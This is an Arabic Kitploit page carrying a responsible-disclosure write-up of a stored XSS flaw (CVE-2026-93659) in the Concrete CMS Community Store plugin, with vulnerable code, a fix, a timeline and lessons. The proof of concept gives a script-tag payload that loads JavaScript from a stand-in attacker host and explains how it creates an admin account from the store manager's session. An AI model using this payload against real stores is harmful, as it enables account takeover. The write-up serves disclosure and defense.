Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-93659-writeup — XSS مخزّن في Concrete CMS Community Store يؤدي إلى الاستيلاء على لوحة تحكم المسؤول | Kitploit
أدوات/GitHubGitHub/prince325/cve-2026-93659-writeup
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالأوراق والأبحاثالتعلم والتعليمموارد منسقة
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

XSS مخزّن في Concrete CMS Community Store يؤدي إلى الاستيلاء على لوحة تحكم المسؤول

عرض المستودع
1منذ 4س 57دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-93659: XSS مخزّن في Concrete CMS Community Store يؤدي إلى الاستيلاء على لوحة تحكم المسؤول

الملخص

CVECVE-2026-93659
المكوّنconcretecms-community-store/community_store
النوعCross-Site Scripting مخزّن (CWE-79)
الخطورةCVSS v4.0 9.3 حرجة / v3.1 8.7 عالية
المتأثرةجميع الإصدارات قبل 2.7.8
تم الإصلاح في2.7.8
الفضلPrince Edem Fiagbedzi (المكتشف)

Community Store، وهي إضافة تجارة إلكترونية مفتوحة المصدر لـ Concrete CMS، كانت تخزّن حقول الطلبات المقدَّمة من العملاء دون تعقيمها وتعرضها دون تهريب HTML عبر أربع واجهات موجهة للمسؤول. كان بإمكان أي زائر غير مصادَق عليه تقديم طلب يحتوي على حمولة برمجية في حقل مثل الاسم الأول للفاتورة، وكانت الحمولة تُنفَّذ داخل جلسة مصادَقة لمدير المتجر في لوحة التحكم في المرة التالية التي يفتح فيها ذلك الطلب، وهو ما يكفي لإنشاء حساب مسؤول مزيف أو تسريب بيانات الجلسة.

ما المتأثر

يحمل كل طلب حقولاً مقدَّمة من العميل: الاسم الأول والأخير للفاتورة/الشحن، والبريد الإلكتروني، والهاتف. تُخزَّن هذه الحقول كما هي وتُعرض مرة أخرى في أربعة أماكن يطّلع عليها مدير المتجر بشكل روتيني:

  • عرض الطلب في لوحة التحكم (single_pages/dashboard/store/orders.php)
  • قسيمة الطلب القابلة للطباعة (elements/order_slip.php)
  • تقرير المبيعات (single_pages/dashboard/store/reports/*.php)
  • صفحة تأكيد الدفع الموجهة للعميل (single_pages/checkout/complete.php)

والأهم من ذلك، أن تقديم طلب لا يتطلب أي حساب. فإعداد الدفع كضيف في Community Store يكون افتراضيًا على always، وقد ضبطه بهذه الطريقة مثبِّت الحزمة نفسه عند كل تثبيت جديد، وليس شيئًا يجب على مشغّل المتجر تفعيله. لذا فهذه ليست ثغرة تحتاج إلى متجر مُهيَّأ بشكل خاطئ؛ بل قابلة للاستغلال ضد تثبيت افتراضي جاهز من الصندوق، دون الحاجة إلى أي بيانات اعتماد.

التخفيف

حدِّث Community Store إلى 2.7.8 أو أحدث. يضيف الإصلاح تهريبًا مناسبًا للمخرجات في جميع مواقع العرض الأربعة المتأثرة. لا يوجد حل بديل عبر الإعدادات دون الترقية، لأن السلوك الثغرة هو التهريب نفسه، وليس مفتاحًا قابلًا للتبديل.

التفاصيل التقنية

لم يقم أي من مواقع العرض الأربعة بتهريب الحقول التي يتحكم بها العميل. سطر تمثيلي من عرض الطلب في لوحة التحكم:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

لا يوجد استدعاء لـ h()، وهي دالة التهريب القياسية للمخرجات في Concrete، في أي مكان قريب منه، رغم أن الملف نفسه استخدم h() بشكل صحيح على بعد أسطر قليلة لقيم أخرى. ولم يكن التحقق من المدخلات أفضل حالًا: كان الفحص الوحيد المطبَّق على هذه الحقول هو حد للطول (1-255 حرفًا)، ولا شيء يزيل أو يرفض HTML.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

حمولة <script> يقل طولها عن 255 حرفًا في حقل الاسم الأول للفاتورة تمر عبر التحقق دون تغيير، وتُخزَّن، ثم تُعرض لاحقًا دون تهريب في أي مكان يطّلع فيه المسؤول على الطلب.

يُضبط الإعداد الافتراضي للدفع كضيف مباشرةً في المثبِّت:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

لا يفرض متحكّم الدفع تسجيل الدخول إلا عندما يكون ذلك الإعداد off (أو option دون علامة الضيف)، ومع الإعداد الافتراضي المثبَّت، لا يُفعَّل ذلك الفرع أبدًا.

إثبات المفهوم

تم الاختبار ضد Community Store v2.7.7 على Concrete CMS 9.5.2 (مختبر Docker مستضاف ذاتيًا، PHP 8.3). أُرسلت الحمولة كدفع عادي كضيف، دون أي مصادقة من أي نوع:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. يرسل المهاجم عملية دفع تبدو عادية مع الحمولة أعلاه. لا حساب، ولا جلسة، ولا ملفات تعريف ارتباط.
  2. يفتح مدير المتجر Dashboard > Store > Orders ويعرض الطلب (تُنفَّذ الحمولة بالتساوي من قسيمة الطلب، أو تقرير المبيعات، أو رسالة التأكيد الخاصة بالعميل؛ أي من مسارات العرض الأربعة غير المهرَّبة يعمل).
  3. يُنفَّذ السكربت بجلسة مدير المتجر المصادَق عليها ورمز CSRF الخاص به. ولتأكيد التأثير الحقيقي بدلًا من مجرد صندوق تنبيه، استضفت الحمولة بنفسي، كما يفعل مهاجم خارجي، واستخدمتها لتقديم نموذج "إضافة مسؤول" برمجيًا من داخل تلك الجلسة، محوّلًا طلبًا خبيثًا واحدًا إلى استيلاء كامل على حساب المسؤول.

الجدول الزمني للإفصاح

  • تم الإبلاغ إلى المشرف عبر استشارة أمنية خاصة على GitHub
  • شُحن الإصلاح بواسطة Ryan Hewitt كالتزام 2a802d6، مضيفًا تهريب h() إلى جميع مواقع العرض الأربعة المتأثرة
  • أُدرج الإصلاح في إصدار v2.7.8
  • نُشر CVE-2026-93659 عبر VulnCheck بصفتها CNA، مع الإشارة إليّ كمكتشف

الدروس المستفادة

  • يجب تطبيق تهريب المخرجات بشكل متسق عبر كل مسار عرض لقيمة معينة، وليس فقط المسارات الواضحة. شُحنت هذه الثغرة لسنوات لأن ثلاثة من مواقع العرض الأربعة لم يُعَد النظر فيها على ما يبدو بعد معالجة الرابع بشكل صحيح.
  • "يتطلب حسابًا" ليس افتراضًا آمنًا لبناء نموذج تهديد عليه لإضافة ذات وصول ضيف قابل للتهيئة. تحقق من الإعداد الافتراضي المشحون فعليًا، وليس التهيئة الآمنة النظرية.
  • تُعدّ الإضافات الخاصة بالمتاجر/المجتمعات لمنصات CMS الشائعة مكانًا جيدًا لبدء البحث عن الثغرات: قاعدة تثبيت حقيقية، وأقل تدقيقًا فعليًا من النواة.

المراجع

  • CVE-2026-93659
  • التزام الإصلاح 2a802d6
  • ملاحظات إصدار v2.7.8
  • مستودع Community Store
تنزيل الأداة